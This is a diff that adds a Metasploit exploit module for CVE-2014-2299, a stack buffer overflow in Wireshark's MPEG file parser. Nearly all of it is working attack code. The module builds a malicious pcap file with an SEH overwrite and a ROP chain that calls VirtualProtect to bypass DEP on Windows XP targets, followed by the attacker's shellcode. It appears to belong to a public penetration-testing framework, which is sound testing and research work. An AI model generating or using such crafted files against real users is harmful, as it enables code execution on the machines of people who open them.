diff --git a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb new file mode 100644 index 0000000000..dc4146c897 --- /dev/null +++ b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb @@ -0,0 +1,138 @@ +# +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow', + 'Description' => %q{ + This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5 + by generating an malicious file.) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Wesley Neelen', # Discovery vulnerability + 'j0sm1', # Exploit and msf module + ], + 'References' => + [ + [ 'CVE', '2014-2299'], + [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ], + [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ], + [ 'URL', 'http://www.securityfocus.com/bid/66066/info' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'BadChars' => "\xff", + 'Space' => 600, + 'DisableNops' => 'True', + 'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'WinXP SP3 Spanish (bypass DEP)', + { + 'OffSet' => 69732, + 'OffSet2' => 70476, + 'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16) + 'jmpesp' => 0x68e2bfb9, + } + ], + [ 'WinXP SP2/SP3 English (bypass DEP)', + { + 'OffSet2' => 70692, + 'OffSet' => 70476, + 'Ret' => 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module + 'jmpesp' => 0x68e2bfb9, + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 20 2014' + )) + + register_options( + [ + OptString.new('FILENAME', [ true, 'pcap file', 'mpeg_overflow.pcap']), + ], self.class) + end + + def create_rop_chain() + + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x62d9027c, # ptr to &VirtualProtect() [IAT libcares-2.dll] + 0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x619c0a2a, # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x61841e98, # & push esp # ret [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x6191d11a, # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x00000201, # 0x00000201-> ebx + 0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0] + 0x00000040, # 0x00000040-> edx + 0x6197660f, # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x668242b9, # &Writable location [libgnutls-26.dll] + 0x6199b8a5, # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0 + 0x63a528c2, # RETN (ROP NOP) [libgobject-2.0-0.dll] + 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x90909090, # nop + 0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + ].flatten.pack("V*") + + return rop_gadgets + + end + + def exploit + + print_status("Creating '#{datastore['FILENAME']}' file ...") + + ropchain = create_rop_chain + magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure + # Here we build the packet data + packet = rand_text_alpha(883) + packet << "\x6c\x7d\x37\x6c" # NOP RETN + packet << "\x6c\x7d\x37\x6c" # NOP RETN + packet << ropchain + packet << payload.encoded # Shellcode + packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length) + + # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000 + # After nseh and seh we haven't space, then we have to jump to another location. + + # When file is open with command line. This is NSEH/SEH overwrite + packet << make_nops(4) # nseh + packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN + + packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk + + # When file is open with GUI interface. This is NSEH/SEH overwrite + packet << make_nops(4) # nseh + # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] ** + packet << "\x55\x59\x80\x6b" + + print_status("Preparing payload") + filecontent = magic_header + filecontent << packet + print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes") + file_create(filecontent) + + end +end